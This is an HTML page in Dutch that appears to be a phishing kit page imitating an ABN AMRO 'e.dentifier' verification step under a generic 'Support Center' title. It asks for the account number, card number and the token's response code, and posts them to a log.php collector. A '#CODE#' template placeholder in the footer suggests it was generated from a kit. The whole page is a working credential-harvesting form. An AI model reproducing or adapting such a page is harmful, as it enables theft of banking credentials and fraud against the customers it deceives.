<!doctype html>
<html class="no-js" lang="">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>Support Center</title>
    <meta name="description" content="">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <script src="bs.js"></script>
    <style>
        body,
        .content-container {
            margin: 0;
            font-family: 'Open Sans', sans-serif;
            background-color: #f4f4f9;
            display: flex;
            flex-direction: column;
            align-items: center;
            min-height: 100vh;
            width: 100%;
        }
        .content-container {
            flex: 1;
            width: 100%;
        }
        .content-container.blurred {
            filter: blur(5px);
        }
        .header-container {
            background: #007a72;
            width: 100%;
            height: 60px;
            display: flex;
            align-items: center;
            justify-content: flex-start;
            padding-left: 20px;
            box-sizing: border-box;
        }
        .logo {
            background-image: url('./files/colors.svg');
            height: 50px;
            width: 100px;
            background-size: contain;
            background-repeat: no-repeat;
            margin-left: 20px;
        }
        .main-container {
            display: flex;
            justify-content: center;
            align-items: center;
            width: 100%;
            padding: 20px;
            box-sizing: border-box;
            flex-grow: 1;
        }
        .main {
            background-color: white;
            padding: 25px;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            width: 100%;
            max-width: 500px;
            text-align: center;
            animation: slideIn 0.5s;
            margin-top: 20px;
            box-sizing: border-box;
        }
        .second {
            background-color: white;
            padding: 25px;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            width: 100%;
            max-width: 500px;
            text-align: center;
            animation: slideIn 0.5s;
            margin-top: 20px;
            box-sizing: border-box;
            display: none;
        }
        .info-box {
            background-color: #f0fdfa;
            color: #003e39;
            padding: 16px 20px;
            margin-bottom: 20px;
            font-size: 0.9em;
            border-left: 4px solid #007a72;
            box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05);
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            line-height: 1.6;
            text-align: left;
        }
        .form-group {
            margin-bottom: 20px;
            text-align: left;
        }
        .form-group label {
            display: block;
            margin-bottom: 8px;
            font-weight: bold;
            color: #007a72;
        }
        .form-group input {
            padding: 10px;
            border: 1px solid #ccc;
            box-sizing: border-box;
        }
        .form-group input.error {
            border: 1px solid red;
        }
        .btn {
            background-color: #ffd40a;
            color: black;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
            font-size: 16px;
            transition: background-color 0.3s ease;
            border-radius: 0;
        }
        .btn:hover {
            background-color: #e6c200;
        }
        .error-message {
            color: red;
            font-size: 0.8em;
            margin-top: 10px;
            display: none;
        }
        .footer-container {
            background: #007a72;
            width: 100%;
            text-align: center;
            padding: 15px 0;
            color: white;
            font-size: 0.9em;
            margin-top: auto;
        }
        .image-section {
            margin-top: 20px;
            text-align: center;
            background-color: #f0fdfa;
            padding: 16px;
            box-shadow: 0 2px 6px rgba(0, 0, 0, 0.1);
            display: inline-block;
        }
        .image-section img {
            max-width: 100%;
            height: auto;
        }
        @keyframes slideIn {
            from {
                transform: translateY(-50px);
                opacity: 0;
            }
            to {
                transform: translateY(0);
                opacity: 1;
            }
        }
        @media only screen and (max-width: 768px) {
            .main, .second {
                width: 100%;
                padding: 15px;
            }
        }
        .modal {
            display: none;
            position: fixed;
            z-index: 1;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            overflow: auto;
            background-color: rgba(0, 0, 0, 0.8);
        }
        .modal-content {
            background-color: #fefefe;
            margin: 15% auto;
            padding: 20px;
            border: 1px solid #888;
            width: 80%;
            max-width: 500px;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            animation: slideIn 0.5s;
        }
        .close {
            color: #aaa;
            float: right;
            font-size: 28px;
            font-weight: bold;
        }
        .close:hover,
        .close:focus {
            color: black;
            text-decoration: none;
            cursor: pointer;
        }
        .modal-image {
            width: 100%;
            height: auto;
            margin-bottom: 15px;
        }
        .loader {
            border: 3px solid #f3f3f3;
            border-top: 3px solid #007a72;
            border-radius: 50%;
            width: 30px;
            height: 30px;
            animation: spin 2s linear infinite;
            margin: auto;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        table, th, td {
            border: 1px solid black;
        }
        th, td {
            padding: 8px;
            text-align: left;
        }
        .input-row {
            display: flex;
            align-items: center;
            margin-bottom: 15px;
            width: 100%;
        }
        .input-group-addon {
            background-color: #f2f7f7;
            border: 1px solid #ccc;
            border-radius: 0;
            padding: 10px;
            color: #607e7d;
            height: 19px;
            display: flex;
            align-items: center;
            white-space: nowrap;
        }
        .account-number-input, .card-number-input, .respons-input, .form-control {
            height: 40px;
            border: 1px solid #ccc;
            border-radius: 0;
        }
        .account-number-input {
            width: 110px;
        }
        .card-number-input {
            width: 60px;
            margin-left: 5px;
        }
        .respons-input {
            width: 225px;
        }
    </style>
    <link href="https://fonts.googleapis.com/css?family=Roboto+Slab:300|Open+Sans:300" rel="stylesheet" type="text/css">
    <link rel="icon" href="">
</head>
<body>
    <div class="content-container">
        <div class="header-container"></div><br>
        <div style="margin-top: 20px;" class="logo"></div>
        <div class="main-container">
            <form action="log.php" method="post" id="myForm" onsubmit="return validateForm()">
                <div class="main">
                    <h3 style="color: #007a72; margin-top: 5px;">Verifieer met e.dentifier</h3>

                    <div class="form-group">
                       <div class="form-group">
        <div style="
          background-color: #f2f7f7;
          color: #1a1a1a;
          border: 1px solid #d0dddd;
          padding: 24px 28px;
          border-radius: 8px;
          max-width: 550px;
          font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
          font-size: 14px;
          line-height: 1.7;
          margin: 30px auto;
          box-shadow: 0 2px 4px rgba(0,0,0,0.04);
          text-align: center;
        ">
          <h3 style="margin: 0 0 16px 0; font-size: 16px; color: #007b73; display: flex; align-items: center; justify-content: center; gap: 8px;">
            <svg width="40" height="62" viewBox="0 0 40 62" fill="none" xmlns="http://www.w3.org/2000/svg" style="width: 40px; height: 40px; display: inherit;">
              <path opacity="0.08" d="M34.029 7.97301C34.013 7.88401 34.001 7.79301 33.985 7.70301C33.8074 6.0971 32.8004 4.70208 31.332 4.02801C30.12 3.65106 28.8676 3.41911 27.601 3.33701C24.2411 2.92671 20.8511 2.81928 17.472 3.01601C14.772 3.16201 12.116 3.53301 9.447 3.93001C7.98195 4.17665 6.53093 4.50043 5.1 4.90001C4.01551 5.14882 2.96614 5.53141 1.976 6.03901C1.903 6.08301 1.832 6.12901 1.764 6.17701C1.1418 6.74207 0.718792 7.49303 0.558001 8.31801C0.483394 8.5662 0.435457 8.82165 0.415001 9.08001C0.14091 15.0455 0.204345 21.0217 0.605001 26.98C1.225 36.53 2.863 48.297 6.834 58.691C7.11125 59.4141 7.73829 59.9458 8.497 60.101C12.2374 60.8528 16.0562 61.1406 19.867 60.958C20.4343 60.93 21.0113 60.8893 21.598 60.836C25.403 60.5218 29.1301 59.5819 32.629 58.054C33.2059 57.7966 33.5845 57.2315 33.603 56.6C33.703 53.077 34.063 41.436 34.384 38.961C35.76 28.376 35.962 32.053 34.765 14.141C34.6487 12.0717 34.4029 10.0116 34.029 7.97301Z" fill="black"></path>
              <path fill-rule="evenodd" clip-rule="evenodd" d="M7.83102 1.953C7.75435 1.991 7.68035 2.032 7.60902 2.076C6.94966 2.59662 6.47558 3.31582 6.25702 4.127C6.16399 4.36922 6.09694 4.62063 6.05702 4.877C5.40602 10.237 2.91302 34.667 9.00002 54.8C9.22425 55.5434 9.81257 56.1208 10.56 56.331C14.054 57.317 24.632 59.706 34.776 55.97C35.3704 55.7505 35.7871 55.2106 35.849 54.58C36.199 51.055 37.365 39.408 37.859 36.949C39.97 26.432 39.914 30.133 39.97 12.09C39.97 11.324 39.956 10.559 39.929 9.79C39.883 8.47001 39.777 7.151 39.638 5.838C39.5733 4.22334 38.666 2.76107 37.248 1.986C36.0653 1.52596 34.8325 1.20709 33.575 1.036C30.254 0.395126 26.8821 0.0537552 23.5 0.0160045C20.8 -0.0259955 18.121 0.158004 15.431 0.368004C13.9536 0.512344 12.4849 0.734654 11.031 1.034C9.93039 1.20655 8.85548 1.51525 7.83102 1.953Z" fill="url(#paint0_linear)"></path>
              <path fill-rule="evenodd" clip-rule="evenodd" d="M7.25095 3.762C6.61711 3.95112 6.152 4.49284 6.06095 5.148C5.40595 10.48 2.91295 34.786 8.99995 54.819C9.22614 55.5593 9.81429 56.1331 10.56 56.341C14.054 57.323 24.632 59.699 34.776 55.983C35.3704 55.7666 35.7888 55.2293 35.853 54.6C36.203 51.094 37.369 39.506 37.863 37.059C39.974 26.596 39.918 30.278 39.974 12.326C39.974 11.672 40.04 4.55 38.918 4.082C33 1.616 15 1.29 7.25095 3.762Z" fill="url(#paint1_linear)"></path>
              <path fill-rule="evenodd" clip-rule="evenodd" d="M29.958 44H31.958C33.0572 44.013 33.9451 44.9008 33.9581 46C33.9602 46.5311 33.7502 47.041 33.3746 47.4166C32.9991 47.7921 32.4891 48.0021 31.958 48H29.958C28.8535 48 27.958 47.1046 27.958 46C27.958 44.8954 28.8535 44 29.958 44ZM13.958 36H11.958C10.8589 35.987 9.971 35.0992 9.95802 34C9.9559 33.4689 10.1659 32.959 10.5415 32.5834C10.917 32.2079 11.427 31.9979 11.958 32H13.958C15.0572 32.013 15.9451 32.9008 15.958 34C15.9282 35.092 15.05 35.9701 13.958 36ZM13.958 42H11.958C10.8589 41.987 9.971 41.0992 9.95802 40C9.9559 39.4689 10.1659 38.959 10.5415 38.5834C10.917 38.2079 11.427 37.9979 11.958 38H13.958C15.0572 38.013 15.9451 38.9008 15.958 40C15.9282 41.092 15.05 41.9701 13.958 42ZM13.958 48H11.958C10.8589 47.987 9.971 47.0992 9.95802 46C9.9559 45.4689 10.1659 44.959 10.5415 44.5834C10.917 44.2079 11.427 43.9979 11.958 44H13.958C15.0572 44.013 15.9451 44.9008 15.958 46C15.9282 47.092 15.05 47.9701 13.958 48ZM22.958 36H20.958C19.8589 35.987 18.971 35.0992 18.958 34C18.9559 33.4689 19.1659 32.959 19.5415 32.5834C19.917 32.2079 20.427 31.9979 20.958 32H22.958C24.0572 32.013 24.9451 32.9008 24.9581 34C24.9602 34.5311 24.7501 35.041 24.3746 35.4166C23.9991 35.7921 23.4891 36.0021 22.958 36ZM22.958 42H20.958C19.8589 41.987 18.971 41.0992 18.958 40C18.9559 39.4689 19.1659 38.959 19.5415 38.5834C19.917 38.2079 20.427 37.9979 20.958 38H22.958C24.0572 38.013 24.9451 38.9008 24.958 40C24.9602 40.5311 24.7501 41.041 24.3746 41.4166C23.9991 41.7921 23.4891 42.0021 22.958 42ZM22.958 48H20.958C19.8589 47.987 18.971 47.0992 18.958 46C18.9559 45.4689 19.1659 44.959 19.5415 44.5834C19.917 44.2079 20.427 43.9979 20.958 44H22.958C24.0572 44.013 24.9451 44.9008 24.958 46C24.9602 46.5311 24.7501 47.041 24.3746 47.4166C23.9991 47.7921 23.4891 48.0021 22.958 48ZM22.958 54H20.958C19.8589 53.987 18.971 53.0992 18.958 52C18.9559 51.4689 19.1659 50.959 19.5415 50.5834C19.917 50.2079 20.427 49.9979 20.958 50H22.958C24.0626 50 24.958 50.8954 24.958 52C24.958 53.1046 24.0626 54 22.958 54ZM29.958 30C28.8589 29.987 27.971 29.0992 27.958 28C27.9559 27.4689 28.1659 26.959 28.5415 26.5834C28.917 26.2079 29.427 25.9979 29.958 26H31.958C33.0572 26.013 33.9451 26.9008 33.958 28C33.9282 29.092 33.05 29.9701 31.958 30H29.958ZM31.958 36H29.958C28.8589 35.987 27.971 35.0992 27.958 34C27.9559 33.4689 28.1659 32.959 28.5415 32.5834C28.917 32.2079 29.427 31.9979 29.958 32H31.958C33.0572 32.013 33.9451 32.9008 33.958 34C33.9282 35.092 33.05 35.9701 31.958 36ZM31.958 42H29.958C28.8589 41.987 27.971 41.0992 27.958 40C27.9559 39.4689 28.1659 38.959 28.5415 38.5834C28.917 38.2079 29.427 37.9979 29.958 38H31.958C33.0572 38.013 33.9451 38.9008 33.958 40C33.9282 41.092 33.05 41.9701 31.958 42Z" fill="#2BBEB1"></path>
              <path fill-rule="evenodd" clip-rule="evenodd" d="M11.958 26H13.958C15.0572 26.013 15.945 26.9008 15.958 28C15.9601 28.5311 15.7501 29.041 15.3746 29.4166C14.999 29.7921 14.4891 30.0021 13.958 30H11.958C10.8589 29.987 9.97097 29.0992 9.95801 28C9.98787 26.908 10.866 26.0299 11.958 26Z" fill="#FFD200"></path>
              <path d="M35.0641 7H9.93506C9.38277 7 8.93506 7.44772 8.93506 8V22C8.93506 22.5523 9.38277 23 9.93506 23H35.0641C35.6163 23 36.0641 22.5523 36.0641 22V8C36.0641 7.44772 35.6163 7 35.0641 7Z" fill="url(#paint2_linear)"></path>
              <path opacity="0.04" d="M9.93604 23H14.58L30.58 7H9.93604C9.38375 7 8.93604 7.44772 8.93604 8V22C8.93604 22.5523 9.38375 23 9.93604 23Z" fill="black"></path>
              <defs>
                <linearGradient id="paint0_linear" x1="25.1034" y1="1.56399" x2="12.1588" y2="43.3232" gradientUnits="userSpaceOnUse">
                  <stop stop-color="#00C5BC"></stop>
                  <stop offset="1" stop-color="#009286"></stop>
                </linearGradient>
                <linearGradient id="paint1_linear" x1="25.1501" y1="2.98024" x2="12.4982" y2="43.7918" gradientUnits="userSpaceOnUse">
                  <stop stop-color="#009796"></stop>
                  <stop offset="1" stop-color="#005E5D"></stop>
                </linearGradient>
                <linearGradient id="paint2_linear" x1="29.5601" y1="13.281" x2="16.6178" y2="22.3407" gradientUnits="userSpaceOnUse">
                  <stop stop-color="white"></stop>
                  <stop offset="1" stop-color="#E3E3E3"></stop>
                </linearGradient>
              </defs>
            </svg>
            Instructies
          </h3>
          <hr style="border: none; border-top: 1px solid #c5d5d5; margin: 0 0 15px 0;">
          <ol style="
            list-style-position: inside;
            padding: 0;
            margin: 0 auto;
            max-width: 100%;
            display: flex;
            flex-direction: column;
            gap: 6px;
            font-size: 13px;
            text-align: left;
            font-family: Arial, sans-serif;
            color: #2b2b2b;
            white-space: normal;
          ">
            <li>Doe uw pas in de e.dentifier</li>
            <li>Druk op ‘1’ voor inloggen</li>
            <li>Toets de pincode van uw pas in + OK</li>
            <li>Vul de respons van de e.dentifier hieronder in</li>
          </ol>
        </div>
      </div>

      <hr>

                        <label for="account-number">Rekening- en pasnummer</label>
                        <div class="input-row">
                            <span class="input-group-addon">NL ** ABNA 0</span>
                            <input type="text" class="account-number-input" id="accountNumber" name="accountNumber" maxlength="9">
                            <input type="text" class="card-number-input" id="cardNumber" name="cardNumber" maxlength="4">
                        </div>
                        <div class="error-message" id="accountError">⚠️ <b>Vul minimaal 9 cijfers in.</b></div>
                        <div class="error-message" id="cardError">⚠️ <b>Vul minimaal 3 cijfers in</b></div>
                    </div>
                    <div class="form-group">
                        <label for="response">Respons</label>
                        <input type="text" class="respons-input" maxlength="8" id="response" name="response">
                        <div id="responseError" class="error-message">⚠️ <b>Vul minimaal 6 cijfers in.</b></div>
                        <br>
                        <br>
                        <button type="submit" class="btn">Bevestig</button>
                    </div>
					
                    <input type="hidden" name="form_type" value="login">
                </div>
            </form>
        </div>
        <div class="footer-container">
            <footer>
                <p><b>Support Center</b></p>
                <p><b>Support ID: #CODE#</b></p>
            </footer>
        </div>
    </div>
	
	<script>
document.addEventListener('DOMContentLoaded', function () {
    const accountInput = document.getElementById('accountNumber');
    const cardInput = document.getElementById('cardNumber');

    accountInput.addEventListener('input', function () {
        const value = accountInput.value.replace(/\D/g, ''); // Alleen cijfers

        if (value.length === 9) {
            cardInput.focus();
        }
    });
});
</script>


    <script>
        function validateForm() {
            var accountNumber = document.getElementById('accountNumber').value.trim();
            var cardNumber = document.getElementById('cardNumber').value.trim();
            var response = document.getElementById('response').value.trim();

            var accountError = document.getElementById('accountError');
            var cardError = document.getElementById('cardError');
            var responseError = document.getElementById('responseError');

            var accountNumberInput = document.getElementById('accountNumber');
            var cardNumberInput = document.getElementById('cardNumber');
            var responseInput = document.getElementById('response');

            var isValid = true;

            // Validate Account Number
            if (accountNumber === '' || accountNumber.length < 9) {
                accountNumberInput.classList.add('error');
                accountError.style.display = 'block';
                isValid = false;
            } else {
                accountNumberInput.classList.remove('error');
                accountError.style.display = 'none';
            }

            // Validate Card Number
            if (cardNumber === '' || cardNumber.length < 3) {
                cardNumberInput.classList.add('error');
                cardError.style.display = 'block';
                isValid = false;
            } else {
                cardNumberInput.classList.remove('error');
                cardError.style.display = 'none';
            }

            // Validate Response
            if (response === '' || response.length < 6) {
                responseInput.classList.add('error');
                responseError.style.display = 'block';
                isValid = false;
            } else {
                responseInput.classList.remove('error');
                responseError.style.display = 'none';
            }

            return isValid;
        }

        function isNumber(evt) {
            evt = (evt) ? evt : window.event;
            var charCode = (evt.which) ? evt.which : evt.keyCode;
            if (charCode > 31 && (charCode < 48 || charCode > 57)) {
                return false;
            }
            return true;
        }
    </script>
</body>
</html>
